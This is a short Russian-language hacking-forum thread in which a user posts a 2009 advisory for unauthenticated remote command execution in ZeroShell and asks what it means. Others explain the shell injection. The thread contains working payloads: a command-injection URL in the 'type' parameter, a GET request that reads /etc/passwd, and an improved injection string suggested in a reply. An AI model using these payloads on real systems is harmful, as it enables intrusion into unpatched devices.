Эксплуатация.

Discussion in 'Песочница' started by Bezlishke, 25 Mar 2016.

  1. Bezlishke

    Bezlishke Member

    Joined:
    18 May 2015
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Code:
    ====================================================
    ZeroShell <= 1.0beta11 Remote Code Execution
    Original Advisory:
    http://www.ikkisoft.com/stuff/LC-2009-01.txt
    luca.carettoni[at]ikkisoft[dot]com
    ====================================================
    ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution
    for servers and embedded devices. This Linux distro can be configured
    and managed with an easy to use web console.
    ZeroShell is prone to an arbitrary code execution vulnerability due to
    an improper input validation mechanism. An aggressor may abuse this
    weakness in order to compromise the entire system.
    Authentication is not required in order to exploit this flaw.
    [Proof of Concept]
      
    /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22
      
    In addition to the Unix commands, it is possible to abuse the
    ZeroShell scripts themself. For instance it is likely to use the
    "getkey" script in order to retrieve remote files, including the content
    in the html page.
      
    {HTTP REQUEST}
    GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
    /root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
    Host: <IP>
    # milw0rm.com [2009-02-09]
    Заинтересовало, но не могу одуплить.
     
  2. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    староватая конечно бага)

    поле type участвует судя по всему в какой то баш команде, то есть
    $ blablabla "blabla $type"
    из за плохой фильтрации можно сделать инъекцию вида ";наша команда
    %22 это как раз знак "
    пайлоад у них правда странный *%22;<CMD HERE>;%22
    имхо лучше так *%22;cmd;%23
     
    _________________________
  3. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Команд ИНЖ. хотя не, РЦЕ. Суть вопроса не понятна только
     
  4. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    так это не вопрос, а ответ был) чел выше спрашивал что эта такое
     
    _________________________